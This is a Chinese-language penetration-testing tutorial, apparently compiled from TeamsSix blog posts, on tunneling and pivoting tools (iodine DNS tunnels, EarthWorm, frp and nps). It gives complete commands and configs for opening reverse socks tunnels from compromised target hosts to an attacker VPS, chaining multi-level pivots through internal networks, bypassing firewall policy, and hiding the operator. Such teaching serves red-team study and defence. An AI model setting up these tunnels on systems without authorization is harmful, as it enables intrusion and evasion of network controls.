# 内网穿透工具

## 9、iodine 使用

### 1、介绍

iodine 这个名字起的很有意思，iodine 翻译过来就是碘，碘的原子序数为 53，53 也就是 DNS 服务对应的端口号。

iodine 和 dnscat2 一样，适合于其他请求方式被限制以至于只能发送 DNS 请求的环境中，iodine 同样也是分成了直接转发和中继两种模式。

iodine 与 dnscat2 不同的在于 Iodine 服务端和客户端都是用 C 语言开发，同时 iodine 的原理也有些不同，iodine 通过 TAP 在服务端和客户端分别建立一个局域网和虚拟网卡，再通过 DNS 隧道进行连接，然后使其处在同一个局域网中。

### 2、安装

首先需要有一个域名，并设置 NS 和 A 记录，A 记录指向自己的公网 VPS 地址，NS 记录指向 A 记录的子域名。\
\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBDdYNg8ixUV6hfRs4%2Fimage.png?alt=media\&token=3e039202-6d9f-47f5-97fe-e686839db462)

Kali 下自带 iodine ，Debian Linux 可以使用 apt 进行安装

```
sudo apt-get install iodine
```

Windows 可以直接到官网下载，下载地址：[https://code.kryo.se/iodine/](https://links.jianshu.com/go?to=https%3A%2F%2Fcode.kryo.se%2Fiodine%2F)，服务端名称是 iodined.exe，客户端是 iodine.exe

### 3、使用

这里服务端使用的是 Linux，服务端命令如下：

```
sudo iodined -f -c -P teamssix 192.168.77.1 dc.teamssix.com -DD
```

```
 -f     在前台运行
 -c     不检查传入请求的客户端 IP 地址
 -P     客户端与服务端之间的连接密码
 -D     调试级别，-D 表示第一级，-DD 表示第二级，依此类推
 
 192.168.77.1 是自己自定义的局域网虚拟 IP 地址。
```

这里客户端使用的是 Windows，Windows 客户端上除了要有 iodine 相关文件外，还需要安装 tap 网卡驱动程序，这里我百度找了一个下载地址 [http://www.qudong51.net/qudong/981.html](https://links.jianshu.com/go?to=http%3A%2F%2Fwww.qudong51.net%2Fqudong%2F981.html)

打开下载好的 tap 网卡驱动程序，一直下一步下一步安装就行。

然后就可以启动客户端程序了，注意下载下来的 dll 文件要和 exe 在一个目录下，不能只复制一个 exe 到目标主机上，而且要以管理员权限运行下面的命令。

```
.\iodine.exe -f -r -P teamssix dc.teamssix.com
```

```
-r      iodine 有时会自动将 DNS 隧道切换成 UDP 通道，使用 -r 命令可以强制让 iodine 在任何情况下都使用 DNS 隧道
```

如果出现 `Connection setup complete, transmitting data.` 就表示 DNS 隧道就已经建立了。

这时如果去 ping 服务端自定义的虚拟 IP 也是可以 ping 通的。\
\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBDm-7pK1qjZ6IICXW%2Fimage.png?alt=media\&token=f2967be7-3d52-413f-a2ec-0c34f1544c3c)

假如这里内网机器分配到了 192.168.77.2 这个 IP ，因为处在一个局域网中，所以 VPS 直接访问 192.168.77.2 的 3389、80 等端口就可以直接访问到内网机器的相关端口了，同样的内网主机也可以访问 VPS 的 22 端口等等，至此便绕过了策略限制。

> 原文链接：
>
> [https://teamssix.com/year/210608-213403.html](https://links.jianshu.com/go?to=https%3A%2F%2Fteamssix.com%2Fyear%2F210608-213403.html)
>
> 参考文章：\
> &#x20;[https://www.cnblogs.com/micr067/p/12263337.html](https://links.jianshu.com/go?to=https%3A%2F%2Fwww.cnblogs.com%2Fmicr067%2Fp%2F12263337.html)

## 10、ew 的使用

### 1、Socks 代理工具介绍

Socks 代理可以理解成升级版的 lcx，关于 lcx 的用法可以看我之前的文章：

[https://teamssix.com/year/210528-130449.html](https://links.jianshu.com/go?to=https%3A%2F%2Fteamssix.com%2Fyear%2F210528-130449.html)

但是 lcx 毕竟年代久远，现在的杀软基本也都能识别到了，因此在实战中不太推荐使用 lcx ，更推荐使用这些 socks 代理工具。

常见的 socks 代理工具有 ew、termite、frp、nps、sSocks、reGeorg、Neo-reGeorg、SocksCap、Proxifier、ProxyChains 等等，不同的工具适合使用的场景和方法都有所不同。

因为在这其中有些工具笔者较经常使用，所以这里主要记录下 ew、frp、nps 的使用方法，本篇文章主要记录 ew 的使用，后续文章将更新 frp、nps 的使用。

开始之前，先理解下正向代理和反向代理的区别。

> 正向代理：主动通过代理访问目标主机，即攻击主机 --》目标主机
>
> 反向代理：目标机器通过代理进行主动连接，即目标主机 --》攻击主机

### 2、ew 的使用

ew 的项目主页：[http://rootkiter.com/EarthWorm/](https://links.jianshu.com/go?to=http%3A%2F%2Frootkiter.com%2FEarthWorm%2F)

ew 全称 `EarthWorm`，直译过来就是`蚯蚓`，引用作者的原话是：

> 该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道，直达网络深处，用蚯蚓独有的手段突破网络限制，给防火墙松土。

这个描述也是很形象了。

#### 下载

作者已经不提供 ew 的下载了，但是搜了一下 github 还是有其他人上传的，不过病毒需自查。

下载地址：[https://github.com/idlefire/ew](https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fidlefire%2Few)

从这工具上传的时间是 5 年前就可以看出这个工具很有年代感了。

#### 使用

该工具共有 6 种命令格式 ssocksd、rcsocks、rssocks、lcx\_slave、lcx\_listen、lcx\_tran，正向连接的命令是 ssocked，反向连接的命令是 rcsocks 和 rssocks，其他命令用于一些比较复杂的网络环境中。

**a、正向连接**

正向连接需要目标主机有一个公网 IP，或者说攻击主机能够直接访问到目标主机。

命令也很简单

```
ew -s ssocksd -l 1080
```

```
 -s 设置状态模式
 -l 设置监听端口
```

```
> .\ew_for_Win.exe -s ssocksd -l 1080
ssocksd 0.0.0.0:1080 <--[10000 usec]--> socks server
```

然后使用 SocksCap、Proxifier、ProxyChains 等工具配置上目标主机的 IP 和监听端口即可，socks 要选择 socks5

**b、反向连接**

反向连接适合于目标没有公网 IP 的情况，这时就需要一台公网 vps 了，这里就直接以内网地址作为演示了。

在公网 VPS 上执行以下命令：

```
ew -s rcsocks -l 1080 -e 4444
```

```
 -e 设置反弹主机端口
```

```
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
```

这条命令表示将 1080 端口接收到的数据转发到 4444 端口上。

在目标主机上执行以下命令：

```
ew -s rssocks -d vps_ip -e 4444
```

```
-d 设置反弹主机 IP
```

```
> .\ew_for_Win.exe -s rssocks -d 172.16.214.52 -e 4444
```

这条命令表示在本地开启 socks 5 服务，并反弹到 vps 的 4444 端口，如果代理建立成功，在 VPS 端就会看到 `rssocks cmd_socket OK!` 的提示。

最后，代理 vps 的 1080 端口就可以访问到目标主机的内网了。\
\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBEHqUY0VWJYPzGMWO%2Fimage.png?alt=media\&token=6eceb296-dc34-4a11-bbf5-d286bf2a6bc4)

**c、二级网络环境（一）**

有这样的一个网络环境，目标主机A有两个网卡，一个内网地址一个公网地址，但这个主机只能访问内网主机B不能访问其他内网资源，而内网主机B不能访问外网但是能访问内网资源。

在拿到这两台主机权限后，就可以使用 ew 进行二级跳板访问到内网资源。

```
内网主机A（有公网IP） --》内网主机B --》内网资源
```

在内网主机B上，开启正向连接代理

```
ew -s ssocksd -l 4444
```

```
> .\ew_for_Win.exe -s ssocksd -l 4444
```

在内网主机A上

```
ew -s lcx_tran -l 1080 -f hostB_ip -g 4444
```

```
> ./ew_for_linux64 -s lcx_tran -l 1080 -f 192.168.7.110 -g 4444
```

这条命令表示将 1080 端口收到的代理请求转发到内网主机 B 192.168.7.110 的 4444 端口，此时就可以通过访问内网主机 A 的外网 IP 的 1080 端口访问到内网主机 B 上架设的 socks5 代理了。

**d、二级网络环境（二）**

在上面的环境中，内网主机 A 有公网 IP，如果没有公网 IP 的情况下，又该怎么办呢？这时候就需要结合反向连接了，因此需要一台公网的 VPS 主机。

```
VPS --》内网主机A --》内网主机B --》内网资源
```

在公网 VPS 上

```
ew -s lcx_listen -l 1080 -e 4444
```

```
> ./ew_for_linux64 -s lcx_listen -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here
```

表示将 1080 收到的 代理请求转发到 4444 端口上

在内网主机 B 上

```
ew -s ssocksd -l 5555
```

```
> .\ew_for_Win.exe -s ssocksd -l 5555
```

表示开启 5555 端口的正向代理

在内网主机 A 上

```
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
```

```
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
```

表示在内网主机 A 上使用 lcx\_slave 的方式，将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来。

现在就可以通过 VPS 的 1080 端口访问到内网主机 A 再访问到内网主机 B ，最后访问到内网资源了。

**e、三级网络环境**

目前有这样的一个环境，内网主机 A 没有公网 IP 不能访问内网资源，但是可以访问外网和内网主机 B，内网主机 B 不能访问外网和内网资源，但是可以和 A、C 相互访问，内网主机 C 能访问内网资源，但是只能和内网主机 B 相互访问，因此如果想访问到内网资源就需要做三层跳板。

```
VPS --》内网主机 A --》内网主机 B --》内网主机 C
```

在公网 VPS 上，将 1080 端口收到的代理请求转发到 4444 端口

```
ew -s rcsocks -l 1080 -e 4444
```

```
> ./ew_for_linux64 -s rcsocks -l 1080 -e 4444
rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here
```

在内网主机 A 上，将 VPS 的 4444 端口和内网主机 B 的 5555 端口连接起来

```
ew -s lcx_slave -d vps_ip -e 4444 -f hostB_ip -g 5555
```

```
> ./ew_for_linux64 -s lcx_slave -d 172.16.214.1 -e 4444 -f 192.168.7.110 -g 5555
lcx_slave 172.16.214.1:4444 <--[10000 usec]--> 192.168.7.110:5555
```

在内网主机 B 上，将 5555 端口收到的代理请求转发到 6666 端口上

```
ew -s lcx_listen -l 5555 -e 6666
```

```
> .\ew_for_Win.exe -s lcx_listen -l 5555 -e 6666
rcsocks 0.0.0.0:5555 <--[10000 usec]--> 0.0.0.0:6666
init cmd_server_for_rc here
start listen port here
```

在内网主机 C 上，启动 socks5 服务，并反弹到 B 主机的 6666 端口上

```
ew -s rssocks -d 192.168.7.110 -e 6666
```

```
> .\ew_for_Win.exe -s rssocks -d 192.168.7.110 -e 6666
rssocks 192.168.7.110:6666 <--[10000 usec]--> socks server
```

至此，socks5 代理 VPS 的 1080 端口就会访问到内网资源了。

另外还有个 ew 的升级版工具叫 termite，不过比较遗憾的是 termite 在两年前也已经暂停更新了，这里也就不再大费周章的记录它了。

> 原文链接：
>
> [https://teamssix.com/year/210610-164507.html](https://links.jianshu.com/go?to=https%3A%2F%2Fteamssix.com%2Fyear%2F210610-164507.html)

## 11、frp 的使用

### 1、介绍

相较于前一篇文章介绍的 ew 的年代久远，frp 就好的多了，基本上隔几天就会发布新的版本，最新的一版更新还就在几天前。

在实战中，大家较多使用的也是 frp，frp 项目地址：[https://github.com/fatedier/frp](https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Ffatedier%2Ffrp)

至于下载安装直接在项目的 releases 里下载自己对应的系统版本就行。

### 2、使用

官方使用文档：[https://gofrp.org/docs/](https://links.jianshu.com/go?to=https%3A%2F%2Fgofrp.org%2Fdocs%2F)

frp 分成服务端和客户端，分别叫 frps 和 frpc，配置文件分别对应 frps.ini 和 frpc.ini

> 以下环境均为本地环境，VPS IP 为 172.16.214.52，目标主机 IP 为 192.168.7.110

#### a、内网端口穿透

场景：内网主机可出网，想从公网访问内网主机的 3389 端口

在 VPS 上开启服务端，这里以 kali 为例，首先修改配置文件 frps.ini

```
[common]
bind_port = 4444
```

然后启动服务端

```
frps -c frps.ini
```

```
> ./frps -c frps.ini
2021/06/09 03:45:03 [I] [root.go:200] frps uses config file: frps.ini
2021/06/09 03:45:03 [I] [service.go:192] frps tcp listen on 0.0.0.0:4444
2021/06/09 03:45:03 [I] [root.go:209] frps started successfully
```

配置客户端配置文件

```
[common]
# 服务端 IP
server_addr = vps_ip
# 服务端端口
server_port = 4444

[rdp]
type = tcp
local_ip = 127.0.0.1
local_port = 3389
# 连接 vps 的端口
remote_port = 3389
```

```
> .\frpc.exe -c frpc.ini
2021/06/09 15:50:29 [I] [service.go:304] [72904e8037a7fdf8] login to server success, get run id [72904e8037a7fdf8], server udp port [0]
2021/06/09 15:50:29 [I] [proxy_manager.go:144] [72904e8037a7fdf8] proxy added: [rdp]
2021/06/09 15:50:29 [I] [control.go:180] [72904e8037a7fdf8] [rdp] start proxy success
```

此时，在 vps 上访问本地的 3389 端口就会访问到内网主机的 3389 端口了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBElwFwihNOiXZH9AM%2Fimage.png?alt=media\&token=c1a14c7a-f4bd-413a-ba0f-f3169420e3c1)

#### b、建立 socks 代理

场景：内网主机可出网，想把内网主机作为跳板机使用

上面的场景只是利用 frp 访问了内网指定机器的指定端口，我们还可以利用 frp 将内网主机作为跳板机使用。

这次我们用上 frp 的 web 控制面板以及访问密码等功能，让我们建立的连接更加安全、方便。

在 VPS 上开启服务端，服务端配置文件如下：

```
[common]
bind_port = 4444

# 客户端认证 token
token = 123456

# 设置 frps 仪表盘端口、账号和密码，实战中用处貌似不大，但如果设置一定要设置强密码
dashboard_port = 8000
dashboard_user = admin
dashboard_pwd = password
```

> 实战中，为了更好的隐藏自己，最好还是要设置通过域名访问

配置好文件后，启动服务端

```
frps -c frps.ini
```

```
./frps -c frps.ini
2021/06/09 04:06:34 [I] [root.go:200] frps uses config file: frps.ini
2021/06/09 04:06:35 [I] [service.go:192] frps tcp listen on 0.0.0.0:4444
2021/06/09 04:06:35 [I] [service.go:294] Dashboard listen on 0.0.0.0:8000
2021/06/09 04:06:35 [I] [root.go:209] frps started successfully
```

配置客户端文件

```
[common]
server_addr = vps_ip
server_port = 4444

# 客户端认证 token，需要和服务端 token 保持一致
token = 123456


# 启用加密，防止流量被拦截
use_encryption = true
# 启用压缩，提升流量转发速度
use_compression = true

[socks5]
type = tcp
# 连接 vps 的端口
remote_port = 1080
plugin = socks5
```

开启客户端

```
frpc -c frpc.ini
```

```
> .\frpc.exe -c frpc.ini
2021/06/09 16:11:21 [I] [service.go:304] [ee7ad330ab4e6036] login to server success, get run id [ee7ad330ab4e6036], server udp port [0]
2021/06/09 16:11:21 [I] [proxy_manager.go:144] [ee7ad330ab4e6036] proxy added: [socks5]
2021/06/09 16:11:21 [I] [control.go:180] [ee7ad330ab4e6036] [socks5] start proxy success
```

测试 VPS IP 的 1080 的 socks5 代理，发现已经连通了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBFAXBr-C7QTOYHOKR%2Fimage.png?alt=media\&token=6bcd7c9e-3356-4507-bab8-b70fbf73c8e6)

打开 frps 仪表盘，登录后，可以看到当前连接数据的相关信息

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBFGF_eD_4QwT9LfbV%2Fimage.png?alt=media\&token=99c7aa5c-79fa-4295-b534-4203c4e04f72)

frp 的参数远不止文章中提到的这些，更多功能可以参考下面的参考文章。

> 原文链接：\
> &#x20;[https://teamssix.com/year/210611-171526.html](https://links.jianshu.com/go?to=https%3A%2F%2Fteamssix.com%2Fyear%2F210611-171526.html)
>
> 参考文章：
>
> <https://www.jianshu.com/p/331aa59fff5d>
>
> [https://www.anquanke.com/post/id/184855](https://links.jianshu.com/go?to=https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F184855)

## 12、nps 的使用

### 1、介绍

nps 项目地址：[https://github.com/ehang-io/nps](https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2Fehang-io%2Fnps)

也是一款还在更新的内网穿透工具，相较于 frp，nps 的 web 管理就要强大很多了。

nps 和 frp 一样功能都很多，这里就主要记录下平时经常用到的 SOCKS5 代理模式。

### 2、安装

nps 不同于 frp 的开箱即用，nps 的服务端需要安装才能使用，这里以 kali 下的安装为例。

在 nps 项目的 releases 中下载好自己对应系统的版本后，解压安装

```
tar -zxvf linux_amd64_server.tar.gz
./nps install
```

### 3、使用

官方使用文档：[https://ehang-io.github.io/nps](https://links.jianshu.com/go?to=https%3A%2F%2Fehang-io.github.io%2Fnps)

启动服务端，默认 Web 管理界面端口 8080

```
nps start
```

启动 nps 后，直接访问服务端的 8080 端口，输入默认密码 admin/123 进行登录，不难看出，这 web 界面确实比 frp 的丰富很多。\
\\

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBFa-gN4MF7-2vZ6d3%2Fimage.png?alt=media\&token=d6857791-3af6-42ba-ad85-e04b0f43eb00)

nps 的使用也很简单，界面语言也可选择中文。

首先新增一个客户端，点击 “客户端” --》“新增”，打开新增客户端页面，填写相关信息后，点击新增即可

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBFhbtzBo1bB2Z0TCx%2Fimage.png?alt=media\&token=770c19a0-2e4e-4f5c-bc0b-bb8bc35b5867)

新增之后，刷新一下可以看到刚刚添加的记录，点击刚刚新增记录里的“加号”还能直接看到在客户端上要运行的命令，这个可谓是很贴心了。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBG1TLUoos0WHKcV0-%2Fimage.png?alt=media\&token=dc976fa2-fca0-4527-8756-7a63037256d6)

复制命令到客户端上运行，服务端这边就能看到目标已经上线了，连接状态也由离线变成了在线。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBGDBdAmj4wyQSs0Po%2Fimage.png?alt=media\&token=40670d2f-9692-4f07-9083-8fbabb408fa1)

如果想创建一个 SOCKS5 代理也很简单，直接点击 “SOCKS 代理”--》“新增”，输入客户端的 ID 和代理的端口，然后新增即可。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBGIlw7Er80fjctlQY%2Fimage.png?alt=media\&token=aef5b8c3-3069-4235-8dcc-5ebf25e4ae6b)

之后直接设置 SOCKS5 代理 IP 为 nps 服务端 IP ，端口这里设置的是 1080，这样就建立了一个 SOCKS 代理，如果新增设置客户端的时候，设置了认证账号密码，那么在连接 SOCKS 代理的时候，也要添加上对应的账号和密码。

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-MiBDQ84hyAwOJdOza14%2F-MiBGSLdkcIEzWrDNzRp%2Fimage.png?alt=media\&token=29e0cbac-6cfe-4ab5-a874-2b05460fa9b5)

在这整个过程中都没有修改配置文件等等操作，真的是很方便了。

> 原文链接：\
> &#x20;[https://teamssix.com/year/210612-213704.html](https://links.jianshu.com/go?to=https%3A%2F%2Fteamssix.com%2Fyear%2F210612-213704.html)
>
> 参考文章：
>
> [https://ehang-io.github.io/nps/](https://links.jianshu.com/go?to=https%3A%2F%2Fehang-io.github.io%2Fnps%2F)

\
\
作者：TeamsSix\
链接：<https://www.jianshu.com/p/2fc44dd2b1e8\\>
来源：简书\
著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
